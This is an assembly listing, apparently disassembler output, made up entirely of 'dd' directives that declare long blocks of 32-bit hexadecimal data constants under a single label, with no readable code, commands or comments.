		dd 841863D9h, 3BDEDE0h,	3C132AECh, 808DF3A5h, 0D5D46146h
		dd 82440F48h, 4079C984h, 14ABB01Ch, 74D78BF9h, 6FBAA1Eh
		dd 20E21FCBh, 48BE6000h, 0E4BCC60Ch, 4BE10157h,	44BA05A5h
		dd 0D077FB0Bh, 49554C02h, 2238C98Ah, 0AC904BE9h, 0D000EC98h
		dd 1262973Dh, 0FA561F0h, 11310479h, 65575807h, 0CA880BAh
		dd 1E005B3Ch, 60B81793h, 24377CF1h, 0BC2496DAh,	0C31E41Eh
		dd 7D1193FEh, 0C51E3746h, 0C8261530h, 5A542B04h, 31F88180h
		dd 78690056h, 4CEF7803h, 0C49D28DFh, 0AC75CEF8h, 0C98506FDh
		dd 0CC8C1B3h, 0EBE454E8h, 0D94C2461h, 14B2044h,	81BA4F1Eh
		dd 0EF201A1Dh, 0D4B90807h, 844F1948h, 0C1F1BCCh, 6A29A64Fh
		dd 80186D3Bh, 2004FCD8h, 3094AB24h, 4021BF9Ah, 1900B27Fh
		dd 8E5C8FF8h, 1182AFAh,	95BCCD1Bh, 808384ADh, 9CBB9B28h
		dd 6016AF8h, 0F1FE968h,	811980D3h, 0D410DEB1h, 5C80D008h
		dd 2DB8919h, 2B011A4h, 0C23F20ACh, 70CCEA08h, 3CCD99BCh
		dd 0C43794B5h, 109C8681h, 1760A345h, 1E750CF6h,	1B49960Ah
		dd 0EDC35B07h, 0EA51B56Ch, 885220C9h, 64989882h, 0BBAA002Eh
		dd 2C731F4Ch, 0D03FD213h, 841007A5h, 5B50CCFAh,	309E7609h
		dd 622873F6h, 503B4A3Ah, 43C08072h, 9FD0A5D6h, 0EFC51D6Dh
		dd 5378FE79h, 8C000C44h, 0D2669C90h, 8F07F9F4h,	0EE651B78h
		dd 43679170h, 2C720A8Eh, 0E40C496h, 648047D4h, 7B673A74h
		dd 8850CD07h, 601A251Dh, 89E7000h, 1F1F5993h, 2C894975h
		dd 853D0098h, 0F0C640E1h, 0EF7C5126h, 5E767200h, 0FA03D85Dh
		dd 0EBE103E7h, 868D6737h, 0D72E8FC0h, 0C318A600h, 0AA69EEF8h
		dd 755B0EBh, 0B03EADE2h, 4E3BB0D2h, 0A61840D8h,	625837C8h
		dd 337F3CCEh, 0CA97E1BAh, 0DEBC9Ch, 9775E66Fh, 0F890E8B8h
		dd 0F7A91870h, 0B35050E4h, 0A8DED4F2h, 157B07BAh, 0B6C0C6A6h
		dd 1408CA5h, 3CCE60A8h,	0D4D8587Fh, 96433C2h, 0F1C362B8h
		dd 4418007Dh, 0D72A6A18h, 8C00751Ah, 0D070CCE4h, 7469E5CEh
		dd 154F018Bh, 6E65D728h, 42CFCCB3h, 0B71B4A00h,	0EDF24EE7h
		dd 1860009Eh, 56DD3634h, 80C2AE02h, 633D70CEh, 864808A7h
		dd 0CC0614DBh, 67197660h, 6304D8E9h, 0B014D19Ch, 84844BE7h
		dd 865FF0E4h, 30381ABDh, 0AFA05E0h, 47573503h, 2192F56Dh
		dd 3690B7F9h, 2DD3FC2h,	70C81527h, 7008CB34h, 84E4F7C1h
		dd 0F24A730h, 516662D4h, 0CB6B2043h, 221659ABh,	2B1DD1DDh
		dd 326E1080h, 22FFA09h,	0FC37DAADh, 0F5E0AB06h,	260083BEh
		dd 0E4701447h, 0FE82EB9Eh, 56000DAh, 521FD3E5h,	0FA0EA9A5h
		dd 6099A7D2h, 69268854h, 0A03501C0h, 0F26EAD34h, 9BB460F0h
		dd 0EDA520C0h, 0A7B62E19h, 0E9DC8820h, 4E91E8C0h, 7D19B07Bh
		dd 8E4006Bh, 28ED4F6Fh,	8730DAA5h, 3EEB485Dh, 16B7253h
		dd 16BF7903h, 0D1BE50DBh, 11218758h, 0D6106CE2h, 3D45C9Fh
		dd 0FDBAC0ACh, 0EDC09466h, 0B4283805h, 44068021h, 4DF63EE4h
		dd 1CDB4669h, 3886B58h,	4F56C4E1h, 2E6C6020h, 6E2407Bh
		dd 0C3109130h, 0DEC581Fh, 0A3A55E01h, 0B63D21EBh, 0C91000D3h
		dd 415A9D53h, 9219B2C1h, 9008592Ch, 5CEA2181h, 70112E9Dh
		dd 0BB518CFCh, 0B81EC898h, 9E63E4E8h, 0A009A929h, 0C36E23E0h
		dd 0E617CB11h, 0B0FDE288h, 153A9F74h, 211631B1h, 2AFC2F2Eh
		dd 57681336h, 156E0093h, 1088D9EEh, 0B81E9730h,	50E6FC12h
		dd 282494ADh, 330380Ah,	0E5D09A6Bh, 12F84964h, 303979Ch
		dd 8A3ED4Eh, 379800ABh,	9204FB2Bh, 2E02B0BCh, 4C7821C0h
		dd 984804Dh, 0DFCBF2A0h, 0A2AD8168h, 0E6CDF301h, 8B22D680h
		dd 6301F91Bh, 0FBC458E5h, 6E60EDB1h, 0F4E416h, 0FAA3C201h
		dd 0D2AA670Ah, 41A1FD00h, 0D527F818h, 19E025h, 977DBDE2h
		dd 8043B53Eh, 510070F2h, 9F07D706h, 75E957FCh, 91A303BAh
		dd 0CA26143Dh, 6A328E3h, 78633B0h, 0BA9DC200h, 0F58D6675h
		dd 6FE265h, 456D7043h, 8EC4DB53h, 68783Dh, 4CDA237Eh, 3086199h
		dd 1026F519h, 44B0B802h, 8B7C2FA3h, 0C3255E00h,	6CDF78D0h
		dd 0E9700575h, 0C0B640B2h, 0F02E60A1h, 8D74AD07h, 18F0C1A5h
		dd 8FB591h, 4493A07Fh, 8E3D4D64h, 0B221FE00h, 0D8183539h
		dd 2A160051h, 0DC7A4F37h, 0B3F21DFDh, 8E728000h, 0BF92E840h
		dd 0D12407DDh, 1070EA05h, 887CF923h, 0F501877Fh, 3B73E5Ch
		dd 66E4D039h, 0C05D1824h, 992F4E0Ch, 81D6FD0Eh,	781B006Eh
		dd 9EA991h, 2CFD488h, 0D3A128E1h, 0C8233F00h, 31DB3CBAh
		dd 0E60F0045h, 7168857Dh, 610391BEh, 0EDF4EA81h, 503E9852h
		dd 5770CCh, 0F768337h, 34238432h, 0B40E6D03h, 0C89A6078h
		dd 0DB7FD0h, 0F4CFA7C5h, 826711D5h, 3292DA00h, 1CD619EBh
		dd 0BA020E8Bh, 3802EF3h, 0B8C795ECh, 36A81E60h,	5A0C90h
		dd 0ED051023h, 561B3BF4h, 1194FD00h, 52DE99BCh,	3B957772h
		dd 1808A6Eh, 0CF9DC327h, 9C2C502Ch, 0F4008D1Ah,	0D15D54CDh
		dd 8B453CB0h, 0F7E30FDh, 82660230h, 0F20B6400h,	76ED730h
		dd 75A0C05Ah, 2787DC13h, 80C94C3Fh, 688DF43Ah, 4D8382h
		dd 0CA8C3E91h, 7371A992h, 32227700h, 64F60251h,	0B0820E88h
		dd 0DCC0BF58h, 72DD5EB1h, 8A469F00h, 778DFA27h,	378B003Bh
		dd 0ECB0F593h, 7B383CA6h, 0CFAB0362h, 0D0515DE7h, 0F3B9396h
		dd 0EDEA8289h, 0BAB68C00h, 21004908h, 5CDD3273h, 0F55E30h
		dd 9EF734D6h, 6FAF50EEh, 0CA96EF05h, 80013DA9h,	28760C75h
		dd 3FE871C5h, 594358FAh, 46023738h, 5D625FF7h, 6CFBAEC0h
		dd 0C6234700h, 25876F9Dh, 17CFFh, 463049FAh, 44E352CFh
		dd 0DBB31200h, 0EBB00D95h, 0D5805188h, 30EECh, 102704B5h
		dd 0E4078977h, 952A300h, 0E9E8C859h, 0C134004Fh, 0B46CF620h
		dd 0C900DD7Ch, 8D5CF032h, 2A7ED2h, 0B8AD9F8Ah, 0C14A922h
		dd 0AC310F00h, 0CA6F8DF2h, 33CD0EDFh, 0DBC58042h, 9A458060h
		dd 4A00C371h, 398C90B3h, 1E0F58h, 6450772Ch, 85ECC52Fh
		dd 0A0F53E28h, 25C8F700h, 0F2CB4F0Fh, 8BE83081h, 5778DEB0h
		dd 221DF912h, 6C604019h, 7517AA80h, 0E8B2ACD6h,	98A06A00h
		dd 0F57FCBC2h
		dd 5D7001B4h, 0B8F0F8EAh, 0F48F3032h, 22E46C1Dh, 17B07987h
		dd 66628480h, 0D4F200AFh, 7C367783h, 8D484FBBh,	1E280F20h
		dd 9559E784h, 0EB98A06Fh, 0D23054h, 82743DC0h, 5EC7F1ECh
		dd 0F5961200h, 0F880AE57h, 0EABD00CAh, 89116208h, 2101F1E4h
		dd 0ED8D67B4h, 54D181F0h, 93FBD994h, 8E33161Fh,	0DA00BF1Ah
		dd 50904AD4h, 0B8F68200h, 0AA9D3076h, 7B910E1Bh, 2760DC06h
		dd 95C998F0h, 7D00A5E6h, 7E9F36C0h, 14284A9h, 773B72E3h
		dd 0F49858CDh, 4E07F331h, 9E01BB1Fh, 0B46A96C0h, 0EE110341h
		dd 4D5D6A7h, 0F4ECFFA8h, 85D1D00Ah, 0F80B4F7h, 0BD7713B8h
		dd 0DE3B00BFh, 755506E8h, 8900C887h, 8CF15E80h,	1C35F6CEh
		dd 0AB65EBh, 8F601547h,	0BF001CEDh, 0DF3B4341h,	777A0BBBh
		dd 0ECA73F3Ch, 0E985C106h, 8A00285Dh, 807E61FEh, 98B638BEh
		dd 7B18C3F6h, 60C7CB78h, 31C4DCE7h, 424BEA00h, 0C5B1C3C8h
		dd 0F578F9h, 253D050Eh,	0E1711EADh, 0D45AD700h,	0C3AF5BD0h
		dd 34513F81h, 54F1A18Fh, 2A49047Eh, 26BEC33Eh, 7437F9F0h
		dd 0E603A900h, 1D10ED95h, 1E4504B3h, 0C0DB2468h, 2832195Ch
		dd 0FDC50213h, 3472D440h, 0C0CAEF5Eh, 39382E11h, 0ABB0935Ah
		dd 0D6429C17h, 1A6F1000h, 1F0E52Fh, 4BE47FE0h, 0F4AC8F5Bh
		dd 213840BFh, 0CDCA802Ch, 0D0761823h, 5991EB8h,	0AD130062h
		dd 49523B22h, 150EBE00h, 9D92F848h, 391FC96h, 73C97A35h
		dd 2688A305h, 9550C120h, 7C01B9EAh, 0F7CE5E27h,	72C8553Bh
		dd 382349DAh, 0C0966C1Fh, 0E9B730CBh, 2C4CFB35h, 0EAAA0784h
		dd 0BD00B6B2h, 1105D7h,	0CE7F79E7h, 40425819h, 240F8890h
		dd 4EA41F12h, 0F4DEA0A0h, 4D8852Bh, 0F8DFA75Bh,	7BD0C03Eh
		dd 80142D4h, 5DA1CE2Dh,	18873410h, 90BCE4A5h, 59B856E8h
		dd 0A6D1C900h, 8329F9EFh, 1B9B1E43h, 45E28062h,	84665923h
		dd 0F8346806h, 0E8010A1h, 55A42983h, 0EFD1770Ch, 9BF34200h
		dd 94A85ED2h, 6BC60003h, 145A044Bh, 0F209D354h,	6B3ABE5h
		dd 7884755h, 0C3A5A7E6h, 600702C6h, 0FEE89D40h,	0FB296D00h
		dd 4B969933h, 828C0093h, 38A8A6B4h, 8700CCD1h, 4F6A6F19h
		dd 306E3CFh, 0EB06169h,	6780AA40h, 9400BAF8h, 83B1917Eh
		dd 48E9FA7h, 0CCE0A418h, 42F18096h, 5F006EB3h, 82588CD1h
		dd 3D59C0Eh, 0F87705E4h, 0D90460Fh, 1D00B6C1h, 379A622Dh
		dd 2C70A787h, 3AB30C6h,	923FDA6Dh, 9F68D3C8h, 5E2DCF00h
		dd 3EC5C745h, 0D4400F85h, 5A05F38Dh, 0AC989006h, 83006692h
		dd 654D94C4h, 0B22A4A17h, 0ADAF00C0h, 8EF59A90h, 890042B2h
		dd 2170E77h, 0AB6140h, 51389382h, 12467C7Bh, 1109BA00h
		dd 363BA7F9h, 1F5F2C9h,	6C7A532Bh, 7F414237h, 759248C0h
		dd 0FCF63A61h, 0E301A83Bh, 0C6917004h, 7F002AA6h, 0F4D3F39Eh
		dd 5C70F5Eh, 0A5EB424Ch, 90ACA8B8h, 94D9D400h, 0BB91C098h
		dd 39690019h, 6EC42E5Fh, 0A9097D14h, 8BF37B99h,	1634219Bh
		dd 0D060B5D5h, 1CD092CFh, 80384CBAh, 6612CD87h,	0B017E162h
		dd 0A8005D05h, 7030A8B2h, 418701D4h, 6FF9CDABh,	8B5AE432h
		dd 803DC938h, 93C6EAC8h, 3B249F66h, 58B1A10h, 828C4A5Bh
		dd 1D01CC78h, 0C3E047DAh, 58C0F83Ch, 5B551DDBh,	83646C85h
		dd 80846853h, 0FDFE93A1h, 0B0BEDCh, 0B5237B5Dh,	605B5824h
		dd 855C08A8h, 6C0EC161h, 8084E531h, 0D75875Fh, 0C4730092h
		dd 8962DD1Eh, 9C731881h, 0EE005971h, 55238786h,	188E8370h
		dd 0A026F81Ch, 6A00FE47h, 78EA133Bh, 0BDF3Fh, 30B35B27h
		dd 2BCB877Ah, 588A1D05h, 1C5D9204h, 0E3D413C0h,	0A8326384h
		dd 0E4407B0h, 291CB666h, 4C1B9A60h, 0B9030AEEh,	0F7E1CC47h
		dd 0E379A287h, 0EFE09083h, 0C15D0025h, 0AAD42B11h, 8803667Ah
		dd 5F147968h, 0C0CDC248h, 1EC87D88h, 13EDD49h, 0FBD44B88h
		dd 9287F043h, 70A49700h, 5A549E99h, 3FF1003Eh, 1737C19Ch
		dd 0FE00DED8h, 0A2A69D18h, 178632B2h, 1248C9FBh, 11440AFh
		dd 0FFA366Dh, 0C6D66618h, 0F188C8h, 73327811h, 0D1397C85h
		dd 686F2C00h, 2765F516h, 0E00E178Dh, 29361887h,	0F6185C01h
		dd 66E254A1h, 0E2BD3AA9h, 0E9644800h, 0C08DD05Eh, 2EBEAA00h
		dd 13900F1Bh, 7DA41C08h, 8CD98074h, 70F496E3h, 0C9473Bh
		dd 0E8F9314Dh, 0B91AEAh, 21B47B9Bh, 0BBF88FF1h,	0B52CEE07h
		dd 83A05F1Eh, 4E12CAh, 0C4143617h, 1D81BB25h, 71E4B00h
		dd 0BC72BE42h, 0CC6B0001h, 0B5CAC14Eh, 0B40176ABh, 5FB9046Ch
		dd 0CF48DB1h, 954F0022h, 5458D6C2h, 0BD0FD429h,	4B27C1D1h
		dd 5F7B86FDh, 0E5B10018h, 397A8708h, 7F00C088h,	0E0B9421Bh
		dd 0A979D8h, 0DBC6F220h, 0B471A06Eh, 6480B00h, 1529B039h
		dd 73C8B0C9h, 0A040EB70h, 1D29C59h, 0C007E293h,	0F4223BA1h
		dd 1D01B09Eh, 9628522Ah, 6880CF42h, 924A1013h, 7902F899h
		dd 0B00AC411h, 9D66C02Ah, 43A43F1Ch, 2FCC3903h,	70A984C7h
		dd 0EF29FCC5h, 0EDB68900h, 8202E8A2h, 0BD9500B9h, 4B45801Bh
		dd 1700309Ah, 5EB0293Ch, 111595Ah, 0A1DF7AE6h, 0C0A2FE79h
		dd 2A007557h, 54F92560h, 0CE64FAh, 0A11BEBBAh, 0D6074CBCh
		dd 905C6707h, 4310A98Eh, 1A2F51Ah, 5B8FAF29h, 0D0662C14h
		dd 0D300109Ch, 0F598E976h, 2614E63h, 0F837862Ah, 5E1D18Ch
		dd 33E0D0D2h, 58831D00h, 2E4532F5h, 9D2A04E5h, 83C8E685h
		dd 0EE80506Eh, 2DFAA564h, 427BEA01h, 0D9848EF4h, 71C92AFCh
		dd 6A5A0132h, 9D13B04Ch, 0FD1C20EFh, 6B6E4900h,	0F38F2B78h
		dd 86A0034Fh, 94EDBA29h, 73E05BC0h, 1F27E600h, 0DE7A09BEh
		dd 3F17008Bh, 8AF0D244h, 3125E2Fh, 0C4C7FE9h, 27B7409Dh
		dd 0AFD67B53h, 0ED269600h, 4E7423h, 0A4C7B884h,	850CA35Eh
		dd 7602C173h, 2EAD24B1h, 70F940C9h, 527F3ED5h, 402F211Ch
		dd 7427109Bh, 6703F407h, 4156D1D4h, 6236E009h, 0FAF30022h
		dd 630C52FEh, 0EE077515h, 0BC6BCF50h, 0C9A435A0h, 61C3008Ch
		dd 0B7CE84BBh, 2B2422E4h, 0F1802094h, 0A0239988h, 0AC052E1Fh
		dd 26C080EEh, 0C30B317Dh, 81ED8600h, 0FD392864h, 2BF258h
		dd 8C6B965Ch, 0E9E7B53Dh, 8D7B8900h, 8F3CEC85h,	3E430FD6h
		dd 9A20DD10h, 5921410Dh, 230E777Ah, 9826BFF3h, 0FC98010h
		dd 6AFC4AE9h, 0FB3FD760h, 0ED001B27h, 0ADD2D93Ah, 6964FEh
		dd 8B9CF4D0h, 20AAC334h, 22ED7902h, 0A06ED7AFh,	14196888h
		dd 0B95C006Ch, 7BE74BB4h, 2009C04h, 304D75A9h, 3A12B20Bh
		dd 0E006C4Ah, 9A538F5h,	5606F6B5h, 7F1EC713h, 0EA9E02E8h
		dd 843DF334h, 93C1B440h, 0B828E51Bh, 57F6E011h,	68642420h
		dd 1B7B04DCh, 0E2D00058h, 703D4792h, 338E00FCh,	0DFAA9DB3h
		dd 0F20063A7h, 66EF59B5h, 17FFA4BAh, 0E32EF4h, 81C834F3h
		dd 0E7018A22h, 495CD42Fh, 5BE023A7h, 0AC6C5EA1h, 0DA2064E9h
		dd 18B328C1h, 1C3E8BD0h, 0C093A5C4h, 0B51E116Ch, 98908D82h
		dd 0E0EE4Ch, 0B06A7D04h, 0F7A485h, 698F264Ah, 0C850486Dh
		dd 4EE80D00h, 32A136C3h, 7F3E0E42h, 3F6FE3FAh, 0E7822CE7h
		dd 4FEB60AEh, 3A005861h, 9EBBBC17h, 7C4EB8h, 39E0948Ch
		dd 7FD93C11h, 0A2005774h, 2B3F6747h, 6F5D1Ah, 0AA88F7BAh
		dd 0D80306F3h, 9CAB3A05h, 0E1C04122h, 16E7C10h,	0DBDCF926h
		dd 40571D99h, 0AC3858A4h, 595D1B00h, 0BF7C20A5h, 0A478008Eh
		dd 0C2D0F369h, 0A800BE8Bh, 89C3B764h, 5D9C0C9h,	127F98BCh
		dd 0F72093D3h, 84DECFD0h
dword_55FF38	dd 0B6B75D00h, 2B35C39Bh, 0AEFCEDh, 60124772h, 0BF20F186h
		dd 0FFB8BE00h, 9EE4F957h, 4D69000Ah, 0E2E504DFh, 90001E3Dh
		dd 0A757B0A2h, 0D8A4A5h, 0C98D1F3Eh, 56AFB4F7h,	3BF0284Ch
		dd 8A458395h, 0A0EF170Dh, 1F60F2h, 0DD7359D1h, 654E7201h
		dd 0E1009475h, 0A3B3DB63h, 400B0Eh, 0D3710A6h, 2004C23Fh
		dd 0CEF3D307h, 1550AC6Eh, 6070D7h, 6A1DDD65h, 74DAADBAh
		dd 2A4E800h, 0E25628FDh, 1AB90063h, 8BE5D4E7h, 800ED9Ah
		dd 66CD94A0h, 5F1223h, 0D296A23Fh, 8BA7F2CBh, 0DDACCE00h
		dd 87541DF1h, 1722048Ah, 86245F0Dh, 0A5001219h,	62D19EFh
		dd 0E71172h, 6963E84Bh,	0F91742A2h, 0C949F700h,	6D720C3Ah
		dd 208D00B7h, 58ADCE68h, 9F7FA81Bh, 832B2D3Dh, 54EBD476h
		dd 8DB5D9CDh, 0C57C30h,	2691428Fh, 0E674379h, 49168800h
		dd 466E7BE9h, 0A8B41206h, 1DA400F4h, 2F4FC998h,	9D75231Fh
		dd 0FDE3EA80h, 0FEBFFB88h, 7FD005DDh, 0C041C3A5h, 0B6B99764h
		dd 0C390700h, 489347D1h, 0B8130060h, 51377F62h,	5628640Fh
		dd 79B0805Bh, 586A8A00h, 0F740AF31h, 0A0CF0011h, 156E4454h
		dd 8F1FD2F8h, 30C0145Fh, 529074CAh, 0C99100A8h,	286088F6h
		dd 4609D11Ah, 85F7BE94h, 0AC009CB8h, 0F9898DE4h, 10EC60B6h
		dd 70C1F25Bh, 0C4446706h, 0F80867Dh, 0C58D372Fh, 4011522Dh
		dd 0A2E5D72Fh, 0D65C1007h, 0ADE02B7Ch, 0E21EAEC6h, 6B35842h
		dd 363B9D07h, 537A008Ch, 740057FEh, 2DDE7161h, 60B5E629h
		dd 2F7279F8h, 872C451Eh, 283CE082h, 2DFA08E7h, 580F4B1Fh
		dd 33A6BEC0h, 0C0292EDCh, 13A8F138h, 71716867h,	79E03F1Dh
		dd 0E96C4140h, 1FAC450h, 73621F6Bh, 0D8B303CDh,	680065D2h
		dd 0BB1DEAECh, 54DC7CEh, 0FFA81945h, 0C116C047h, 0B400268Bh
		dd 99ADF4A7h, 3A42081h,	224C4BDBh, 8088ECE0h, 970542F8h
		dd 47C044C2h, 0F05BA7C0h, 0F13D00A2h, 0D84EE669h, 9F025425h
		dd 0A98798CAh, 0B0BEC062h, 7A80018Eh, 0D058EF45h, 1A7EE440h
		dd 37008C7Ah, 7BF1E199h, 0E4DA8803h, 0EEB20033h, 93DB727Fh
		dd 6F719F27h, 34D52200h, 356E826Ah, 3C6476B1h, 0D995B54Dh
		dd 0DF008C97h, 0C3EE023h, 0C300A0FCh, 64082103h, 0F00A8414h
		dd 49E9005Bh, 5515A32Ah, 5049A8F0h, 0B4B20538h,	0E0066FA1h
		dd 50C397h, 74E9FF27h, 94F8F45Ch, 0AF1E28D6h, 970F7F44h
		dd 263ED490h, 585B7D61h, 7500A1C4h, 0C80703DAh,	0A8003471h
		dd 98A8EF2h, 76CAD4DCh,	0CC5D047Ah, 90F3E5ADh, 0FDBCBF04h
		dd 502DC60h, 6046A926h,	60A299AEh, 8904411Bh, 1CBC0AA3h
		dd 75E8FD80h, 2478032Ch, 0EACADCB2h, 0D88BE4E1h, 3D38D209h
		dd 0C8C580D7h, 0BFF5C419h, 0DBDF0FC3h, 9DA6D6BEh, 4F76193Ch
		dd 0CF720D00h, 0F05C0CA8h, 79AB66AAh, 5400F10Fh, 0CA6FE825h
		dd 0FDBFA06h, 1B64C42Ch, 0DD0D62A0h, 4C00E284h,	832A29A1h
		dd 1755565h, 37EE86D3h,	70C8F434h, 0EA1FBA4Dh, 0EF98AFAEh
		dd 0F9B1118h, 0E8631FDDh, 0B09335C0h, 940019B4h, 9E6E37E1h
		dd 6B1447h, 52D0AA1Dh, 352DDCEAh, 3687CE10h, 9AB43203h
		dd 0C3DF3AE0h, 0EC03463h, 0E903F48h, 0DD6E8401h, 0E86A24D3h
		dd 2C5800FBh, 451A25AFh, 3E03952Fh, 6B2772Bh, 0C913C048h
		dd 282A60B4h, 0FB567F32h, 0F99D18C1h, 99812C61h, 6435C7C9h
		dd 6838DBF7h, 0D2BEA7h,	48E01D58h, 67D3D7B1h, 0A16CA019h
		dd 0E36A2534h, 0AF758106h, 4580B5Bh, 762316F8h,	0A27F03E5h
		dd 0F1803E8h, 77D0986Bh, 11641EC0h, 1B50E9B8h, 0C4003294h
		dd 2551A013h, 0DC38A4A7h, 7648558h, 0F148024Ah,	0C3125EE4h
		dd 0A9086E1h, 33A8766Eh, 18B916CCh, 0FC6E8C0h, 4A07888Dh
		dd 68DB70h, 0E449B430h,	0A7B33559h, 680B5736h, 7F7E0192h
		dd 24D29F1Fh, 59F840EAh, 0BD0068C9h, 46714C20h,	0D9F91Ch
		dd 9EFC05EEh, 952FA77h,	6E0045EAh, 1AB7FEDh, 1D86CE3h
		dd 0EB4EFC66h, 0D838A1BAh, 4407E9B1h, 5DE5AEDEh, 8B08C9E3h
		dd 0F40CF8E7h, 6CD403BBh, 570A9489h, 40A8BFD9h,	0C5585C89h
		dd 13E54A00h, 6D083035h, 0BFD00B95h, 7E8011ACh,	0B8D15029h
		dd 47CCD300h, 0C9BEEB55h, 0A2CD00A7h, 69046444h, 3400F527h
		dd 0F08B96C7h, 0F2B5538Ch, 0C55D3074h, 0DF494B38h, 9670D20Eh
		dd 80ABEE54h, 0EB0D32A3h, 75E62Fh, 71DA87A7h, 80BFD81Dh
		dd 0F57C640h, 72548C5h,	74891200h, 6772CF39h, 0D60F3577h
		dd 409301C2h, 98735F08h, 525501EFh, 0A88253F8h,	62FEF828h
		dd 0D9422901h, 0BCF14F4Bh, 0E1EEEFCh, 0B8C04571h, 55800809h
		dd 0BE2CE9D3h, 0F4FA870Eh, 8D9520E6h, 86D140h, 8EC3374Fh
		dd 7EEF0752h, 2FCDDD00h, 0FAE6937Ch, 537F0484h,	0C26B016Dh
		dd 0EC80CFFBh, 0F5F4C294h, 80AE3039h, 0CCD09EDEh, 0A01F98EDh
		dd 667390A9h, 30E19CC9h, 0DBABDF0Fh, 7F4FA014h,	498A20h
		dd 3D025FAh, 13ADA1CEh,	696A280Ch, 0FEDD98E7h, 0D66503D5h
		dd 0F429F18Bh, 92A374F0h, 0DF07EC00h, 63F3791Fh, 0B55C00B2h
		dd 67CB27D3h, 0DB003770h, 19C58CB0h, 32E0DA3h, 51B1BC13h
		dd 0DAC80A53h, 38380F76h, 87F887ABh, 62E126E3h,	78806AC1h
		dd 73CAB2F5h, 490083C5h, 0C08750F6h, 0EED22618h, 55F4F0h
		dd 1F59F462h, 65A71964h, 0C856BF07h, 0EED14235h, 25E5A227h
		dd 0F5EA8041h, 0A87703E6h, 814A7100h, 0AFDC93B4h, 4FCB00BCh
		dd 241A6355h, 141DCFFEh, 95402959h, 7E4E5268h, 58BECD1h
		dd 3BE9EBF8h, 4A5C02A4h, 0B2C0AE7Bh, 241468D3h,	0D80F60h
		dd 70170D77h, 0B24C28h,	8E612D0Ah, 53DA0366h, 0F915765h
		dd 0A07D2443h, 4E38D074h, 2FE21C17h, 1CC5CD2h, 0F577C928h
		dd 5D72FC81h, 1F580E90h, 0B7970456h, 5C80AEB0h,	71513E0h
		dd 0E63211ABh, 0D03AB4BFh, 0A4E71A28h, 0BB8B3Ch, 9357979Ah
		dd 5C815F7h, 0FC42DC12h, 437082FFh, 0DB767Dh, 1BE6A8E3h
		dd 39072619h, 0A1ACF9B6h, 7F2BEFC0h, 0DE3B00C0h, 0BC5F44A9h
		dd 64FCFE10h, 3209F60h,	77A36Eh, 0E2DACB06h, 95499E6Dh
		dd 0CF78D200h, 0B83AC534h, 0DC4C000Ch, 4814A3C1h, 4301F017h
		dd 61A84F26h, 89DCD9A9h, 0AA9E30B3h, 6EBD2810h,	0E080F851h
		dd 5E00DE8Bh, 0BE7EEC54h, 0A916F7h, 8CF2CEA0h, 4086B1AEh
		dd 37477800h, 72628E55h, 7CE05968h, 0A452EC00h,	2DC8973Ah
		dd 0CD445003h, 0A1F7A3h, 378C6068h, 22093C23h, 44DF6800h
		dd 42E1067Ah, 1F7200A3h, 28D1AAFDh, 9575170Ch, 0B75A7100h
		dd 34A1EE49h, 99600DCh,	58814F23h, 7D78E838h, 0C260D800h
		dd 62BEB85h, 0E480068h,	5BFBA6ADh, 0ABE6DC13h, 1959FE00h
		dd 5F67B0B6h, 302B06FAh, 0C0C53394h, 0EE17C610h, 23EF51Fh
		dd 0CAF709Dh, 0C0DD9A82h, 0FC8110C2h, 0F77BEB30h, 1A04D0A4h
		dd 9300AA62h, 4CD63FEEh, 1D572F40h, 40C6E98Fh, 0B7C5BE28h
		dd 4B3F717Dh, 843C7Bh, 0C9D6AE12h, 1CF74CEh, 10679C43h
		dd 40E88AC3h, 0DBA80DF0h, 111E4630h, 7261B559h,	415A6023h
		dd 2C97FED3h, 0A99F8007h, 3340B8B2h, 788CC29h, 1AF9A503h
		dd 0A476721Fh, 3BF85048h, 0AD8E2300h, 0BEDE4F0Ch, 9DDA0030h
		dd 80924750h, 84001AB5h, 0EE22C8EBh, 0A0ACA42Ch, 7FCD8h
		dd 0FF27BE24h, 953E2F58h, 136A1200h, 0D814184Fh, 0ACB0009Eh
		dd 31DC15A2h, 58003B5Ch, 4D1CF97h, 3F1641DAh, 1DFA792Eh
		dd 54AA9CA9h, 3A00E8CDh, 43986BFh, 0C850F7C3h, 9F0076D4h
		dd 0EE1AA72h, 9A42F9h
		dd 2A5C103Eh, 0E8D4C14Ch, 5C62500h, 8FF9C503h, 427F0083h
		dd 0D75BD556h, 0CD009FD9h, 0D3DA657h, 15146B7h,	11C95DDBh
		dd 4090BE78h, 286045CAh, 0BA76991Fh, 72EF1E00h,	3E9223D8h
		dd 7BBD97h, 0A293E098h,	1AAF444Ch, 866FCB00h, 4F2BBF1Fh
		dd 3E070036h, 0E7ABB3E0h, 84005480h, 56E80324h,	1346CFh
		dd 4A2AD064h, 0B34C6A77h, 80E15C3Ah, 865799BAh,	962469h
		dd 0E49F2D37h, 0F0208340h, 8088171Eh, 41209298h, 780F7394h
		dd 9ECF00FFh, 8CDE6F5Ch, 1E4C23D3h, 21F81221h, 0FEA3F200h
		dd 3CF1CF75h, 0B172F771h, 0B50D0E44h, 503FEF00h, 0C90061F6h
		dd 93415530h, 2A3B416h,	820F31E0h, 1C60D363h, 0D803B333h
		dd 0AE4801A8h, 9160D718h, 120759E0h, 2ED09C4h, 0EB5EBBF7h
		dd 3A6C8CC9h, 0A4E16580h, 78C3EA0Fh, 0C248042Eh, 80ECB0CFh
		dd 0A40B3A8h, 0F9678FF0h, 0C7803011h, 0AC3D6DEh, 6F1E580Dh
		dd 892C01A0h, 2087BB72h, 477C43B8h, 4D00747Fh, 7CB33861h
		dd 0B86D30C3h, 802B0294h, 28736F48h, 70BB7048h,	0DB364CA0h
		dd 1A13081Ch, 194E8Fh, 0B6E7A501h, 1CBE00B8h, 22B3A948h
		dd 8610B7Dh, 5DBB56D8h,	2803760Ch, 0D014A29Dh, 5087E10h
		dd 7AB94F12h, 0A9B04727h, 90AD302Fh, 0D200BB0Dh, 3521096Ah
		dd 4BAA86h, 0E4961A7Fh,	4C13D916h, 0BA7D7C00h, 2A292FEFh
		dd 0EB540737h, 7028898Dh, 3524D845h, 2FB14E00h,	0F305700Ch
		dd 25060EBBh, 0F1005A53h, 0FF477F27h, 7DA9230Bh, 8F880C9h
		dd 2C5484EAh, 39FDE310h, 2B40BE00h, 0A5E74CACh,	0DF08F100h
		dd 861166E0h, 0A1DB0035h, 349061B7h, 4A3F244Ch,	0D9FA9D7Ah
		dd 8C463304h, 928400C0h, 2819005Dh, 0D21B9D8Fh,	9058B2F1h
		dd 2FCA00D8h, 1E696855h, 8B730062h, 0F5BB79B5h,	4901AEE1h
